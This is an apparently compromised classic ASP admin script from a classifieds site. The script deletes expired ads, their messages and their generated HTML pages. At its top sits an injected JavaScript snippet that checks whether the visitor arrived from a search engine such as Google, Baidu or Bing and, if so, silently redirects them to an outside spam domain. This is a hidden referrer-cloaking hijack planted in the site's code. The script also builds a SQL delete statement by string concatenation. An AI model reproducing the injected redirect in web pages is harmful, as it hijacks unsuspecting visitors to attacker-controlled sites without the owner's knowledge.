d:\wwwroot\wuchunhua\admin\delshixiaoad.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
if session("china_admin")="" then
003:
response.redirect "login.asp"
004:
end if
005:
Set fdel = CreateObject("Scripting.FileSystemObject")
006:
sql="select * from china_data where stop < date()"
007:
set rs=server.createobject("adodb.recordset")
008:
rs.open sql,conn,3,2
009:
if not rs.eof then
010:
For iPage = 1 To rs.recordcount
011:
adid=rs("adid")
012:
rs.delete
013:
rs.update
014:
sql1="delete from china_message where adid ="&adid&""
015:
conn.execute(sql1)
016:
'''''''''''ɾ³ýhtml¿ªÊ¼''''''''''''''''
017:
tempImageDir = Server.MapPath("../html/"&adid&".htm")
018:
fdel.DeleteFile(tempImageDir)
019:
020:
'''''''''''ɾ³ýhtml½áÊø'''''''''''''''
021:
rs.movenext
022:
if rs.eof then exit for
023:
next
024:
rs.close
025:
set rs=nothing
026:
conn.close
027:
set conn=nothing
028:
set fdel=nothing
029:
response.redirect "ok.asp"
030:
else
031:
response.redirect "shixiaoad.asp"
032:
end if
%
>
033:
034:
035: